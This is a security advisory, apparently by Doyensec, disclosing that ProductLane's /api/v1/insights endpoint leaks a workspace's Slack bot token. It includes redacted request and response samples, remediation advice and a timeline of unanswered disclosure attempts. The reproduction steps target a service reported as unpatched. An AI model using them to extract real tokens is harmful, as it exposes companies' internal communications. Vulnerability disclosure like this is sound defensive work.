DOYENSEC

Security Advisory

ProductLane Customer Slack API Key Leakage

Created by Mohammad Jassim
01/16/2025

Overview

This document summarizes the results of a vulnerability discovered in the ProductLane a penetration test on a client. While security testing was not meant to be comprehensive in terms of attack and code coverage, we have identified that the ProductLane API returns the entire Slack API key.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Slack Token Leakage via Product Lane Insights	
Vendor	Productlane
Severity	High
Vulnerability Class	Information Exposure
Component	https://productlane.com/api/v1/insights
Status	Open
CVE	N/A
Credits	Mohammad Jassim (Doyensec LLC)

Summary

A vulnerability was identified in the ProductLane API, where an attacker can exploit an information disclosure to gain unauthorized access to sensitive data. Specifically, the issue arises from the inclusion of Slack API token in the response to the `/api/v1/insights` endpoint. This exposure could be leveraged to compromise internal communications or gain further access to sensitive information.

Technical Description

Information disclosure vulnerabilities allow an attacker to exploit vulnerable endpoints to gain unauthorized access to sensitive data or system information. This flaw can expose confidential information such as API keys, tokens, or user data, which could then be leveraged for further attacks. This can potentially lead to data breaches, loss of trust, and increased risk of further exploitation across the Productlane Platform.

The following steps can be followed in order to reproduce this vulnerability:

1. Send a POST request to the `/api/v1/insights` endpoint:

```
POST /api/v1/insights HTTP/1.1
Host: productlane.com
Content-Type: application/json
Authorization: Bearer SESSION

{
  "title": "<SAMPLE>",
  "text": "<SAMPLE>",
  "painLevel": "<SAMPLE>",
  "origin": "<SAMPLE>",
  "contactEmail": "jsmith@example.com",
"notify": {
    "slack": true,
    "email": true
  }
}
```

2. Observe the `/productlane/insights` response:

```
HTTP/1.1 200 OK
Server: unicorn
Content-Length: 3642
Content-Type: application/json
Via: 1.1 vegur

{
  "id": "<SNIPPED FOR BREVITY>",
  <SNIPPED FOR BREVITY>
  "workspace": {
    "id": "<REDACTED>",
    "createdAt": "<REDACTED>",
    "updatedAt": "<REDACTED>",
    "version": <REDACTED>,
    "name": "<REDACTED>",
    "domain": "<REDACTED>",
    "logoUrl": "<REDACTED>",
    "selectedTeamIds": [
     ],
    <SNIPPED FOR BREVITY>
    "userId": "<REDACTED>",
    "slackSettings": {
      "notificationChannelId": "<REDACTED>",
      "token": "xoxb-REDACTED-REDACTED-REDACTED"
    }
  }
}
```

Observe the Slack API key is returned under the `slackSettings` object.

Remediation

ProductLane should ensure that sensitive information such as the Slack API token is never included in API responses. Implementing proper data filtering to omit fields like `slackSettings.token` from the `/api/v1/insights` endpoint. Additionally, reviewing and tightening access controls on all API endpoints, conducting regular security audits, and implementing robust monitoring to detect unauthorized access will help prevent similar exposures in the future and safeguard against potential misuse of sensitive data.

Resources

- OWASP, "Sensitive Data Exposure"
  https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure

Disclosure Timeline

10/15/2024	**Attempted vulnerability disclosure to the vendor via hello@productlane.com**
10/24/2024	**Attempted vulnerability disclosure to the vendor via ProductLane's** `cal.com`
10/28/2024	**Attempted vulnerability disclosure to the vendor via raphael@productlane.io**
10/30/2024	**Attempted vulnerability disclosure to the vendor via ProductLane's** `cal.com`
01/13/2025	**Attempted vulnerability disclosure to the vendor via ProductLane's** `cal.com`
01/22/2025	**Public vulnerability disclosure**